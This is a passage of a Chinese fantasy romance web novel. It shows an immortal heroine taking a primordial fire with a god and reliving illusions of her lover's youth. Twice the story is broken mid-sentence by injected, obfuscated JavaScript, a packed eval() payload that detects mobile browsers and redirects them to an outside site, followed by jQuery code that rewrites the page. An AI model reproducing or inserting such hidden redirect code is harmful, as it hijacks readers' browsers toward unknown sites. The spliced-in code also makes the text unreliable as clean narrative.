一颗珠子罢了,既不华美,也无灵力,给游日月镶宝石都不会选它。” “……你把它放在心前看看就知。” 王心若狐疑地望着红珠子,但看擎光的反应也不像会骗她,于是将那红珠置于胸口,红珠忽然光芒大盛,而她的思绪忽然也被牵引进去。 画面轮转,眼前变成一片斜阳下的宫殿。 王心若的视线随着记忆的主人一同向前移去,华美宫殿后面、回廊转角处忽然跑出两个人影。 矮小的扎着两个环髻,缀着银环银铃铛,跑起来环铃相撞,泠泠作响。后面高些的身影正在追着她喊,“小公主,你慢点!呀!” 那小公主跑到这视线主人前,却被脚下石子绊倒,往地上摔了一跤,却也不哭不闹,有些狼狈起身,澄澈明净的大眼睛好奇地看向眼前这个给自己俯身递帕让她擦手的人。 而她起身抬头后,王心若也随视线的主人一同望见了她的模样。 彼时年幼的脸庞还带些婴儿肥,水盈盈的杏眸里还未有后来的怨愁冷漠,一派天真纯良。 后面的婢女跟来,行礼道:“公子。” “公子?”小公主眨巴着大眼睛,装满了疑惑,那婢女耳语一番,小公主才有模有样给眼前人行礼道:“三叔好。” 问好后,不知又看见前面有什么好玩的,兴冲冲跑了过去。 回头才发现,她追蝴蝶去了。 耳畔声音响起,王心若才发现记忆主人身旁还有个内侍,内侍向他介绍:“公子方从封地回咸阳,应该是没见过,这是王上幼女芙君。” 芙君,三叔。 记忆的主人是他啊。 王心若把这红珠拿开,还给擎光。 沉默片刻,她问:“你怎么会有?” “你不用管我怎么有,总之我有。” 她愈发疑惑,“你该不会……” “该不会什么?”擎光警觉,“你不会以为我和他有什么关系吧?我堂堂创世之神,怎会和一个五六十年光阴都撑不过去的羸弱凡人有牵连?” 王心若哦了一声,没再说话。 可她想问的并不是擎光那个意思,她只是想问,那段事都过了那么长时间,擎光能拿到此物,该不会早就神识觉醒了吧。 不过眼下并不是问这个的时机。 他们已经逆流而上,望见火山源头。 那巍峨火山,山顶黑雾蒸腾,火浆如瀑布源源不断直斜而下,伴随轰隆隆的巨响滚滚没入火海。 明明没有生机,却又无比喧闹。 74. 焉能不坚强(3) 火山像古老的巨兽,用滚滚岩浆发出呼吸间的嘶鸣。 而它数千万年的安稳,也终将被这一行人打破。 “既然无间火是这火山之源,那若被取走,这里岂不断了源头?这里又会变成怎样一番景象呢?” “但取一试便知。”擎光手中凝结了一股雾气,围绕在王心若身边,“若若可不要被这混沌火给伤到了,这火伤仙噬骨,届时留下疤痕,你情郎怕是要撕了我。” “堂堂创世之神,又有何惧?” “如今不是寄人篱下么?”擎光微微偏头,对她笑道。 你管用别人的身子叫寄人篱下?看着那张熟悉容颜上泛起的玩味笑意,王心若感觉自己忍了一路的心火又快燃起来,但想到开山大计,且诛神有求于人,只能把话忍下,皮笑肉不笑回一句:“快取火吧,师叔。” 擎光感知她言语不耐,往笼罩着黑雾的山巅飞去,叹道:“姑娘家还是耐心些好。” “师叔,话少延年益寿。” 擎光彻底静默。 在王心若的印象里,神都是高高在上的,说话做事也和他们的容颜一样如霜似雪。然而这素未谋面的师叔擎光,实在打破她的认知,甫一出世,便是言辞诡异、行事散漫无拘,诡异得紧。 但好在她大概能觉察他无恶意,何况他们有同样的目的。 因擎光之前凝结出的一团仙雾,炽热滚烫的岩浆朝她飞来时竟融入雾气消失不见。她再去看擎光,却发现他根本不避那些如滚烫流星的火流,融在他身上瞬息便无影踪。 王心若想起郑含元曾和她说过,自己的原身是混沌界的火莲。想来与受天地灵气滋补而生的生灵不一样,他大概是被这滚滚的无间火浇灌而成,因此不惧,因此不避。 接近那山巅一团黑雾时,不知为何,王心若原本清明的神识灵台忽然像被什么撕开,奇怪诡异的画面如江海泄洪一般汹涌冲入脑海,猝不及防而未及阻挡。 可这些画面支离破碎,不得完整,像用一个破碎的镜子照出的景。 那破碎的景象中,有一个比她见过的铁链阵还要巨大的阵法,流镀着奇怪的符文;有一场毁天灭地的战斗和交缠在一起的时而两道时而三道的残影;还有白发下宛如月华蕴蓄的淡金双瞳,那双眼的形状有些熟悉,却一下子回忆不起在哪里见过。 破碎的画面后,终于有略清晰的景象。 是红。 满目火焰跳动的红。 张扬喧嚣的红里隐约一道霜雪白影。 那道白影执着一把剑,在巍峨火山前显得无比渺小。疏忽灵起,狂风大作,滚滚火海中,他如不动之松,伫立于此。 忽然,他手中握剑起势,剑气从手中微微凝聚,很快便磅礴起来,如龙啸凤游,山呼海啸,带着强大的压迫感席卷周遭所有火焰。 那股剑气,比所有的仙都要强悍,凌驾于万物之上,超脱于三界之中。 当那巍峨壮丽的山川江海图一般的剑意升腾在半空,便与那巍峨火山半壁对峙,隐隐有压制之相。 一剑破青穹,一剑生山海。 而那些火焰在遇这霸道剑气时,却也并未退缩,反而轰隆一声似爆炸般升腾出万丈火莲,燃烧着那山川江海。 一切壮丽都在滚烫中燃烧。 白影手中剑未停,那巍峨高山一座一座生,燃了又生,生了又燃,乍一看,如满天幕的万里山河画开满朵朵金莲。 而随着剑意磅礴的气势逐渐攀升,引江渡海,波涛涌入山河画中,一点一点,将那金色火莲浇灭。 缓缓。 剑归鞘,四方静。 沉默半晌,那白影含着淡淡悲悯的声音似从远古传来。 “太极元气,函三为一。天、地、人,此心何若?” “面壁悟道,执剑破心。师弟,终究我无法勘破己心。” 随着一声微叹,白影幻化作云烟,消失不见。 …… 画面轮转,灼灼火焰未变。 滚滚岩浆中漂流着一朵半人高的玄莲,那朵玄莲最后浮上一方孤岩。 莲瓣舒展,似有灵识。 微光乍现,黑莲倏地转变,竟成了一个侧卧在孤岩的人身。 黑发凌乱覆盖在白皙的肌肤上,那肌肤上隐约有黑色的脉络,还未得消下。 而那张容颜,彼时轮廓尚不分明,望之是个十三、四的少年。 少年缓缓睁眸,长睫如墨,眼上深褶勾勒出凌厉漂亮的眼形轮廓,幽深却剔透的瞳孔宛如精致珠宝,镶嵌在白皙到有些苍白的容颜上。只是脸上未消的玄色纹路,添了几分妖异。 可眼瞳中承载的是初为人身时的茫然,和少有的,因那茫然带来的脆弱。 这时,比以后要更精致漂亮些。 每个阶段都有每个阶段不同的感觉,王心若见过他潇洒孤傲、放浪不羁的样子,见过他不甘墮魔、愤怒生恨的样子,见过他温柔体贴、予取予求的样子……等等。但总归在她面前,他是强大而不迷茫,坚定而自由的,永远能承受着她所有、所有情绪,无论是怒、悲、喜、恨,也承受着她所有的生、离、死、别。 十世悲欢,心魔生了又死,死而复生,追随与陪伴她已刻入骨血。 情劫中,他说,“我叫郑思如,心思的思,如若的如。” 她回想起来,一切也就通了,郑思如是因她而生的。 那朱色如血的禁镯锁她情欲百万余年,她已经太久没有剖白过自己的心意,那些思慕的话竟要憋到弑神死亡前一刻才和他说。 而说出口,堪堪是喜欢。 那一刀刀蚀骨剜心的疼痛也要为他忤逆上神的心意,那一次次言不由衷身不由己的封印,那一腔孤勇、自以为是的保护、那满背伤疤却不敢被瞧见的慌乱…… 怎么会,只是喜欢。 回来后尚未温存多久,她便为修为闭关,再出来又是别离。 她怎么又犯了同样的错误?她上仙王心若,竟是个在情事上如此愚笨的人。倘若……倘若这次事毕,含元归来,她一定不再离开他片刻。 望见孤岩上孤单的身影,她是不是很多次,都让他这么孤单。 她想抱抱他,在他孤单的时刻,正如她孤单时他做的那样。 这么想着,王心若惊异地发现,此刻眼前不再是她看到的景象,而是她身处的实境——她竟然缓缓落到孤岩上,落在他的身后。 初初化形的郑含元,就在她身前。 她心念一动,略一扬手,原本为混沌界扰乱的灵力竟然可以凝结,那道灵力飞在他身上,化作一件云渚白袍,披在他身上。 少年郑含元看着身上多出的衣裳,有些迷茫地起身,然后回头。 只见三米之外,神女款步而来。 只一眼,仿若前世今生的相见。 王心若走到他身前,十三四的少年郑含元与她同高,身上散发灼热的、属于混沌界炽热的气息,而脸上身上若隐若现的黑色纹络,是玄莲初初化形的过渡。只有那双眼,从始至终,都像嵌满珠宝的匕首一样俊美锐利。 他的墨发披 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她眼波微动,问道:“会孤单吗?” “玄莲出世一万年,目光所及都是黑暗、岩石和火焰,孤单。” “一万年便孤单,日后数百万年,也许都很孤单,更孤单。” “你不陪我吗?姐姐。”少年眨了眨眼,带上懵懂的神色,这眼中的锐利柔和许多。 “陪。”坚定的答复。 少年眯着眸微笑,“那我也陪你。” “陪我多久?” “一直一直。” “一直是多久?”王心若却不由想问到底。 问他,也问自己。 “到混沌火熄、荒海水竭、凌虚竹枯、瑶池莲谢。” “不,我不准。”王心若有些霸道且执拗地说:“一直就是永久,无论生死,直到时间的边界,直到三界的尽头。” 少年点头,“我陪你永久,日日夜夜,时间边界,三界尽头。” “无论刮风下雨、电闪雷鸣、大雪漫天、还是春暖花开,你都会陪我吗?” “我陪你。” “无论我变成何种模样,温柔或霸道,高雅或庸俗,聪明或愚笨,善良或邪恶,敏感或冷漠……你都会陪我吗?” “我陪你。” “无论这结局是好是坏,我的选择正确与否,三界的未来怎样,你都会陪我吗?” “我陪你。” 少年郑含元答地坚定。 不知原由的坚定。 而后,他皱起了眉,指尖抚上她的眼角。 “姐姐,你流泪了。” 话音落,幻境灭。 所有都归于现实。 擎光带着她穿过了黑雾,来到山巅。 这里,巨大的铁索按似乎暗藏玄机的阵法排布,比之前困住郑含元真身的还要庞大,可那阵法中心的阵眼处,却用红丝线锁着着一簇小小的火焰。 那一簇小巧的火焰正在跳动,竟是黑红相渡的颜色,非寻常火焰。 擎光本欲开口说那火焰的事情,却突然感到识海中原本沉睡的另一个神识,竟是费劲万千气力发出微弱的声响,尽管那之后又被神息压制地封闭过去。 那神识很是焦灼,只说了六个字。 “她哭了,快哄她。” 75. 焉能不坚强(4) 擎光一直背着王心若穿过黑雾,并未发现她有什么异样,听识海神识这句话,才思忖片刻,唤了句:“若若?” 回应他的先是沉默,而后是不带什么情绪的“何事”。 从那波澜不惊的语气中,听不出她任何情绪。 她不愿在他面前露情,他也不会刻意安抚,倒显得古怪。 他似是想到什么,“方才的雾唤作‘留影雾’,分落在地界各处,或会记录曾经发生的一些影像,但有的人能见到,有的人见不到,见的影像也不尽相同。你方才可有看见什么?” 王心若敛眸,把见到少年郑含元的事隐去,只道:“我看到了很多碎片,比如这个铁链阵,还有一个白发金眸之人……大概是神吧,以及,在此处练剑的仪光。” 一剑生山海,那壮丽山河图的剑意,属于观山海,她再熟悉不过。 观山海是仪光的佩剑,和她的游日月原同出自一块上古凝冰玄铁,且是雌雄双剑,一长一短,一刚一柔。 所以即使留影雾中看不清白影面容,但剑意告诉她那是谁。 擎光却道:“那白发金眸的神,你可看清了长相?” “并未。”王心若摇头,随即探究地望着他道:“不会是你吧?” 擎光笑了笑,“自然是我。” 说着,两人离那铁索阵更近一步,那铁索阵中央的无间火正跳动地炽烈,映照他眸光亦渡一层金。 “神亦有偏爱的五行体质,他和扶光皆属水,而我是火。水火不容,也是自然之理。”擎光伸手朝那玄赤火焰,指尖与火焰相触。 似是冥冥之中有所感应,那火焰竟一丝一缕乖顺地攀上他的指尖,然后没入他掌心不见。 王心若见他也并没有被火焰烧灼而刺痛的感觉,反而显得……似乎很舒服,似乎是从肩膀到全身都放松起来。 那小簇火焰,源源不断汇入他体内,速度越来越快,火焰越燃越烈,终于到一个节点,在他手中凝成一个火球,最后归为一个和“人尊动情心”同样剔透的红珠子,静静落入他掌中。 而后,火山缓缓地、缓缓地停止流泻火浆。 一切都变得很慢,却又在慢中缓缓地停止。 最后一潮火融入岩石缝中时,那原本隐隐泛着金光的滚烫岩浆开始冷却,一点一点灰暗了下来,岩浆流动的声音,也不再喧嚣,逐渐沉寂。 所有的变化都是慢慢的,却似乎无可逆转。 可逐渐结成岩的冷却岩浆和逐渐沉寂的混沌界,让王心若不免怔怔开口,“混沌界……竟,真成了一块废墟。” “天地两仪既分,混沌原本就该是废墟。”擎光将红珠收入袖中,“走吧,既得混沌无间火,便寻荒海海底沙。” 封印过郑含元的无道荒海。 缄默片刻,王心若道:“其实我自己也未曾去过荒海之底。” 擎光似是看出她的顾虑,道:“荒海并非一个好去处,我可以独身前去,你且回天界吧,届时我自会寻你。” 她抿了抿唇,“去吧。” 擎光不置可否,带她一路回去,随着退潮的岩浆。 穿过留影雾时,王心若又回到那景象中。 可入耳的却是少年痛苦而喑哑的声音。 她定神一看,却看见方才给他绾好发披好道袍的少年竟然倒在岩旁,头发已然又散乱开,那衣袍看起来有些破烂,疑似烧过的痕迹。少年似乎感到有人降临,一边用手扶着岩石,一手拢着衣襟强撑着站起来。 她从那如墨的发丝间隙,看见他苍白的面庞、紧皱的眉毛和咬出血痕的唇。 比上次要轮廓分明些,上次是稚嫩刚出世,如今已有几分未来的模样,正是介于青年和少年间既青涩却又有些成熟的气质。 可他比上次见还要脆弱些。 脆弱得像一把易折的剑。 他半起时,却趔趄着又要跌下。 王心若见状赶忙上前,想将他扶起,而他似乎经过一番挣扎失去了所有力气,跌撞着倒在她怀里,全身的重量就这样压在她的肩膀。 此时他已经比她高一些,这样突然压了过来,她来不及也未站稳,便一同跌坐在岩上。 少年将头倚靠在她的肩,双手虚弱搭在她腰间两侧。 白衣交织,墨发缠绕。 “姐姐……对不起,我……真的没力气了。”他靠在她肩上,灼热却混乱的气息打在她面庞,又传入她耳中。 她左手被压在他的胸膛下,那处衣襟已散开,她触到一片炙热粘腻。 触到一瞬,她感到他周身一僵,连呼吸也发紧,却又缓缓舒开。 “你受伤了。” 肯定句。 她道:“你躺下,我替你看伤口。” 她的左手不敢再动,只能放下右手的拂尘,扶住他的肩膀,想让他平躺下。 可他原本搭在她腰间的手却忽然环住那纤细腰肢,声音依旧嘶哑无力,“姐姐,就让我这样,这样最舒服。” “可你的伤口……” 他打断了她的忧虑,固执中带着强硬的坚持:“就这样。” 她也有些生气,“若不处理,你会更疼的。” 她感到腰间的手愈发用力,那因衣袖破裂露在外的手臂苍白一如化不开的积雪,上面黑色的怪异纹路和流着血液的青筋交错纵横,因主人执拗的心绪,愈发凸现。 “听我的,就这样。”他的语气原和那手一般有些冷硬,却不知为何又软了下来,甚至带一丝哀求,靠在她肩上的额又朝她脖颈处近了几分,带着讨怜的意味蹭了蹭她的肩。 “姐姐,不要推开我。” 王心若心头一震,扶在他肩上的手不由缓缓放在他的脊背上,有些无措却又十分温柔地轻抚起来,企图用这份温柔疏解他此刻的脆弱和痛苦。 原来……她一直…… 她此刻才真的明白。 习惯了自己做决定,习惯了一意孤行地‘为他好’,可总是忘记他真实的感受。 霜雪久埋的心,一点点因火融化,透出柔软的本质。 “对不起。”她轻声道。 岩浆火浪,孤岩无声,任谁也贪恋此刻。 可她渐发现怀中人不对劲,她感到周身越来越炽热,热得十分异常,简直像一团火在燃烧。 她去探他的额头,发现那里全是汗水,而那眉头又紧紧皱起。 再看手,那些黑色纹路竟渐渐透出似金似赤的光芒。 怀中人开始发抖,开始从微咳到轻喘,再到剧烈地喘.息。他越抖得厉害,越紧紧抱着她,似溺水濒死之人拼命抓住手中最后一块浮木。 白袍青丝逶地,分不清彼此。 那些金光愈盛亮,他越滚烫,也抖得越严重。 不对,不对,为何会这样?她从未见过他这般情形! 顾不得许多,她扶上他的肩膀,强行把他从怀中摁在地上,却看见他苍白如薄纸的面容、额边暴起的青筋、因痛苦而扭曲的面部肌肉和唇上斑驳的血印—— 少年为了不让她担心,宁愿咬牙硬挺,也要生忍着痛苦不喊叫出声,可那额前鬓边的发丝早已被汗水浸透。 他散开的衣襟处,那胸膛上竟是一大片皮开肉绽的烧伤痕迹,而其他地方泛着金光之处,似乎也在灼烧着他的肌肤。 王心若生平第一次,有了如此巨大的恐慌。 她只觉得下一秒,眼前奄奄一息的少年就要被金火灼烫吞噬,然后消失不见。 ……不可以。 为什么会有这样的情况?这种内源而成的火如何而来?之前好好的为何如今就发作了?云渚哪一个术法可以克制? 她的思绪忽然很乱很乱,乱得她什么也抓不住。 “姐姐,你在哪!”躺着的少年紧闭着双眼慌乱的用双手找寻。 她颤着手握住他的双手。 仿佛给予他无上的力量,他似是舒缓一笑,却握得越来越紧。 金光盛大的速度愈发快了,胸口的溃烂正在弥漫,他越来越烫,这份温度也灼烧着她,可她紧紧握着也不愿意放手。 万千思绪里她终于忆起一个口诀,召出清冷温和的水裹缠着他的身子。 他好像舒服了点,可眉头并未舒展,烧伤的痕迹也未停止扩散。 她又开始召唤雾、冰,甚至是医治疗伤的术法,一一试过。 没有用,这些方法统统没有用,无论多少,无论温度如何,无论法力多强…… 为什么啊?她有些崩溃。 崩溃和害怕缠绕着她的思绪,手也颤得不像话。 而原本躺下的少年郑含元又坐起来,哪怕那伤口愈发皮开肉绽,他也要双手紧紧扣着她的腰,伏在她肩上,在她怀中忍受这份痛苦。 她看着那少年艰难地睁开双眸,那里面能望见熊熊燃烧的火焰,直把眼瞳灼成炽热的金。她听见他一声声忍耐着却又忍不住的痛苦呻.吟和颤声,感受到他一滴一滴的汗。 她无法冷静,也没有克制。 她强迫自己于慌乱中观察他胸膛那片烧伤的痕迹心口最甚,心口……内源之火……他身体中玄色纹路里的金光……血脉……金光…… 倏地,她好像抓住了飞逝思绪中的一点什么。 那非血脉纹路,而是火脉纹路,那里面流动的是火,他刚化形,尚未真的成为人身,控制不好这刚猛热烈的火源灵力,所以被灼烧得痛苦。 那样的纹路她也有,只是她是银白色的,而且不大明显,且那时有仪光帮她,她并未受什么化形之苦。等她会控制后,那纹路就只在额间凝成一朵银莲暗纹,其它地方都是隐约。 在郑含元身上,她从未见到过此时的纹路,想来之后修为颇高,已能隐藏控制,可如今他尚出世,是故不得其法。 然而……她这身体已经不是原来的“瑶池水上莲”。这么想着,她掀开衣袖,却惊异地发现那些银色纹路不知为何竟又隐隐浮现于肌。 水火不容,可水能静火。 她源于瑶池,自然……从属于水。想来这瑶池之水,能平复混沌之火。 所以他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137557|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱她,因为她是清凉的。 还不够。 怎样才能更彻底平复他的痛苦,即便是在虚幻的留影之雾中—— 或许她此刻也根本想不起这是在幻境中。 空中凝结出一把轻巧的刀刃,刀刃飞至她的手腕,而后轻轻一划。 灵力之所在,灵泉之所结,银纹脉络之下随着身体主人的控制流出银色丝线般的光芒。 刀刃又飞至少年的手腕,如法炮制。 可他腕上黑纹破开后乍出的火焰极其凶猛,灼热金光迸现,正要汹涌流淌之际,看起来纤细而柔弱的银光丝线却缠缚住它;金光似是嘲笑它的羸弱和不自量力,愈发炽热。 可渐渐,那金光便不这样嚣张。 银光丝线有条不紊地一丝一缕缠绕住它,甚至沿着它,找到刀刃破开的源头,进入到少年身体玄色脉络中。 少年猛然抬眸,喘.息依旧不稳,望着他所求救的神女那精巧白皙的下颌和如玉侧脸,眸中灼灼也逐渐没那样撕心裂肺的疼痛,逐渐平熄。 因他几番拉扯,她云髻稍散,白袍微乱,眼中尚有散不去的慌乱担忧。 琼玉因他跌在岩上,失了恬淡和清冷,生出昳丽的破碎感。 体内的炽热烈焰一丝一缕被她温柔平和的气息、她如水如月的灵力包裹住、并且逐渐深入,这份安定的力量传入他体内,却又带来至柔至和的难以言喻的舒服和愉悦。 甚至,那金光被银线安抚后,却并未乖乖平复,只收敛伤人的烈火,可自己却竟贪婪地想索取更多,反客为主绕上银线,沿着它来的轨迹,缠绕着、带着滚烫溯源而上,涌入她破开的银色脉络。 常年温和的仙体灵脉中多了丝炙热,虽开始有些抵触,可渐渐又温暖之感。若说泡在温泉中带来的温热舒坦让人沉醉,这从内温暖的感觉虽然陌生,却更是从指尖到心脏都逐渐生出热意,对那金光带来的感觉生出依赖缠绕之感。 别样的感觉,但……很特别,也很舒服。 金银相缠绕,属于对方的迥然相异的灵力却又温顺嵌入彼此的脉络中,一点一点。 互相驯服,又彼此臣服。 她感到怀里的少年不再颤抖,渐渐平了气息。 两人没有说话,放任时间流淌,放任金光银线互相缠绕,愈发紧密,光芒愈盛。那金光银线不光在二人经脉中交织,甚至在外化出两朵并蒂莲花,一金一银彼此依偎,照得混沌地界也似仙境。 然而,本性霸道的金光显然不满足温和的围绕,柔顺一会便又炽热野蛮起来。 王心若蓦地睁眸,轻咳几声,有些不适应地推了推郑含元。 他并未会意,懵懂起身,望向她的眸中满是无辜和无措,似是想起什么,他道:“对不起,一直这么靠着姐姐,姐姐也累了。” “也不是……” 他敛眸轻笑,唇上血痕平添一丝妖异,“姐姐累了,就换我吧。” 王心若还没反应过来,就被他紧紧搂入怀里,额头也顺着伏在他肩上。 两人颠倒了姿势,而他让她在他的臂弯下更紧密贴着自己。他执起她的手,手掌相贴,手腕上的金银线离得更近,缠绕地更紧。 王心若一时体内经络影响,竟未能说出话,面容却微红。 他在她耳边低语:“姐姐果然是来救我的神仙,很舒服,谢谢姐姐。” 他说话时的语气再正常不过,却不知为何让她脸上发烫。 她也只能如那银线一般,如水如月柔顺地倚靠在他身上。 这片刻的美好。 又过了片刻,忽然有脚步声。 两人同时张眸,的确见一位不速之客从远而来。 一位长身玉立,白发金眸的神。 那神亦是一袭白袍,头顶莲冠,雪发高束,眉目俊朗。 如果不开口的话,可担得上清风朗月、龙章凤姿之语。 “我道为何昏厥这么久还叫不醒,原来是沉浸在这虚影幻境的温柔乡中。若若,你也有如此不冷静自持、头脑发昏的时候。” 那语气带着微嘲和一丝焦躁。 然而话音刚落,却见他脸色一变,自顾自喃道:“嗯?怎么是原身?” 而看到他全身的一瞬,王心若便明白为何来时景象碎片中那白发金眸那般熟悉了。 自然熟悉。 秦宫爱恨半生纠葛,钻营争宠费尽心机,因欲生情无上宠爱,一道遗旨芳魂永逝……还有那些不经意的小动作,他为何会有所谓的‘人尊动情心’以及那一声三叔,所有都串成一条线。 郑含元被不速之客打断这份平静,原本舒展的眉头又紧皱起来,双眸微眯不经意露出几分阴郁烦躁,火莲粗暴不耐的天性此刻便表露出来。 “你又是谁?哪来的老妖怪,闯我的底盘还这么多废话?”他的语气更冲更不耐。 那白发金眸的神也似乎被他这番话气到,狠狠望去,骂了两个字。 几乎和王心若的声音同时响起。 “逆子!” “郑擎!” 76. 焉能不坚强(5) 上次这么窒息,还是在上次。 气氛逐渐诡异起来。 最先打破这份诡异的是郑含元,他先是朝王心若笑得像春风拂柳,乖巧极了,“姐姐,借剑一用,等我一下。”而后,还没等王心若反应过来,便拿上游日月后起身,笑容瞬间消失,换上一脸冷冽冰霜。 连狠话都不放,剑刃出鞘,银光直指向白发金眸的神。 那神便是擎光,神的模样恰与第三世情劫中秦王郑擎的模样相同。 剑风扬起擎光鬓边的白发,他的面色比方才更沉,反掌一收,那岩浆滚滚奔他而来,凝成一条燃烧着的无形之剑,挡住游日月的进攻。 剑风相撞,铿然剑鸣。 郑含元不着痕迹退后半步,执剑之手却毫不松懈,再次攻上;擎光用混沌火凝成的长剑更是万钧之力,磅礴骇人。两人剑意皆刚强猛烈,不见半分柔性,相攻时刻但见金光烈火肆意燃起,扰得混沌界地震山摇。 二人攻势极其迅速,像两道金火之光互相缠斗,只能于光中见残影。 残影中,偶尔传来饱含两道怒气的声音。 ——“不自量力!” ——“不过尔尔!” 终于金光爆裂! 在震耳欲聋的轰鸣声中,整个眼前景象轰然倒塌。 王心若是咳醒的,印象中那飞迸的金光混着破碎的岩石朝她直面而来,幻境一瞬崩塌。 再次睁眼,先望见的是十余年都不曾见过的湛蓝天际、悠悠浮云,一时间光线刺目,不得让人微眯双眼。 第二眼望见一张唇红齿白的秀气面容及面容上盛满担忧的眼眸。 “师姐,你终于醒了。” 是任流光。 王心若坐了起来,她发现自己正坐在一片绿草之上,蓝天白云之下。 任流光看出她心中疑惑,“我们已经不在混沌界了,这里是既白山下,师叔带我们出来的。师叔发现师姐久久不醒,便潜入神识解救。” 王心若回想起擎光出现在幻境时那句话,和飞过留影雾时那些发生的场景,不免又轻咳几声,掩去眼中波澜,淡淡问道:“师叔呢?” 任流光往她身后指去。 她回首,擎光背对着她坐在不远处的柳树下,闭目养神,不知在想什么。 她走上前,斟酌片刻,还是客气地说了声,“师叔,多谢。” 羁留幻境还需他人来神识解除,的确与她修为不相匹配,虽是思念过甚、关心则乱所致,可还是有些过意不去。 “你没有什么想问我的么?” 王心若微怔,“有,师叔会如实相告么?” 擎光笑了一声道:“你不问,怎么知道我会不会如实相告?” “你和他什么关系?” “哪个他?” “含元。” 擎光一愣,随即敛眸:“我以为,你会先问郑擎。” “那是第二个问题了。” 擎光哑然失笑,他没有直接回答她的问题,“师侄,若世上有一日再无神,只有仙,你会开心吗?届时迎来的,是你所盼望的三界吗?” 他不唤她若若,也收敛了玩世不恭的语气。 “师叔也知道,心若还算是仙盟之长。” “那对于人间的人而言,你们是否也是另一层面上的‘神’呢?” “太长远的事心若无法考虑,身在其职,难以免俗。” 这世间所有斗争,大到三界,小到一室,本质不过都是为自己的群体争取利益、争取资源、争取话语权。 擎光叹道,“心若,芙君。无论为人为仙,你都是这么理智冷静。” “方才的问题师叔尚未答我。” 然而擎光的答案却出乎意料。 他说他和郑含元的关系,就像仪光和她的关系。 仪光给予她神骨,故而化形,郑含元也一样,得了一半神魂,凝为心头之血,所以能修出法力强大的肉身。 只不过仪光赐骨是自愿的,擎光离魂是被迫使然。 三光曾于混沌界大战,擎光战败,形神俱碎,为谋后路,骨、魂、心离散,各自遁入轮回。 骨入妖界,魂归地仙,心随人间。他尚未算出落骨的妖王在何方,可魂是在郑含元身上,心落在郑擎处。 故有“妖王脊背骨、鬼帝心头血、人尊动情心”。 太极元气,函三为一,天地人,原来如此。 “所以师叔现在就只有一半神魂,若无这三样,哪怕破山取回原身,也无法恢复完整。” 得到擎光肯定的回答。 一时间,她又想了很多。如若到时骨魂心归一,郑擎早已逝去不必再说,那被取走这些的含元,以及那尚不知何处的妖王又该如何自处?当初自己自愿剥去一身神骨,也是失了半条命…… 助擎光,抗仪光,是否是引狼驱虎? 然而此刻,如今离仪光再降临不过八十余年,单单倚靠仙人之力,太慢,机会太渺茫。 箭在弦上,不得不发。 不再耽搁,三人便一同前往无道荒海。 · 南国的尽头是海。 人无法探寻到的海的更深处,一旦到了无风无波澜的边际后,就是无道荒海。 无道荒海仿佛永远置于黑夜之中,天边的月亮和人间海上的模样相比显得极大,几乎占满一半的天际,月色也十分冷冽,惨白的颜色清清冷冷照映在波澜不动的海面上,宛如来自天际对这片海域的监视,形成奇异的压迫感。 海面是深黑色的,像一面只倒映出月光的镜子,沉默地千里万里地伸张在看不见边界的地上。 虽说混沌界也没什么生灵气息,可熊熊燃烧的火焰和滚动的岩浆却不显得安静。 相比之下,无道荒海是真真正正一片死寂。 越往深处御剑而行,越感觉到不适。 已经不记得飞了多久,擎光终于停下。 “若若,我最后问一遍,你要一起潜下去么?” 擎光立于荒海平面之上,那双眸被凄冷月光照的竟有些幽暗不明。 王心若和任流光立于游日月剑身上,任流光扫视周围一圈,小心翼翼往王心若身边靠了靠,扯了扯她的袖子,“师姐,不是流光怂,实在是这里颇为诡异,这是个连鬼都不想来的地方。” 三界记载中,混沌界是灵力扰乱,而无道荒海之下,却是毫无灵力。即便是不依赖灵力修炼的妖魔,也会削弱大半力量。 所以此处向来是封印大妖大魔的绝佳牢笼。 但此下到底如何,几乎没有仙知道。 王心若飞身至擎光身边,踩着平静无比的荒海,四面八方皆是看不到尽头的海。 三人立于无道荒海上,就像微弱的星光洒在浩瀚永夜中。似乌云一过,就将熄灭。 “若是不下去,何必要来。”王心若望向仍浮在半空中的任流光道:“流光,你在此守着,我和师叔一同下海取沙。” 任流光急匆匆飞到她身边,“师姐,我我我还是和你们一起去吧,你把我一个人留在海上,更可怕。” 他急切又有些慌乱的表情反而逗地王心若轻笑,心中也没那般压抑,“也许只是气氛和未知太过吓人,但你想,含元被封那样久,也并没有太多事发生,想来也还好。” 话虽如此,但不知为何她心中莫名有些微乱。 平复片刻,她道:“下去吧,师叔。” 擎光却看向两人道:“取沙一事,虽然三人更快,但为保万无一失,在荒海之下,该做什么,都须听我的。” 二人点头。 “潜海之时,我会将你们的两识封闭,目不可视,耳不能闻。” 任流光看向王心若,王心若皱眉望向擎光,却看他眼神笃定。 “听我的。”擎光道。 王心若和任流光一左一右,将手放在他的手上。 下一刻,双眸陷入黑暗,耳旁寂静无声。 再下一刻,三人脚下失了平衡,沉没入海。 而这广漠海面,尽管吞没三人,却很快归于平寂。 深海之下。 王心若感到因没入水中的压迫感,海水很凉,几欲刺骨。且没入水中的一瞬,便再感觉不到灵力的存在。 她像一片坠落的叶子,漫无目的地飘荡在不知是何处的地方,擎光的手掌是唯一的牵引。 神识中传来擎光的声音,“下沉到底需数日,若嫌无聊,可与我说说话。” “谢谢师叔。”她回应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137558|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 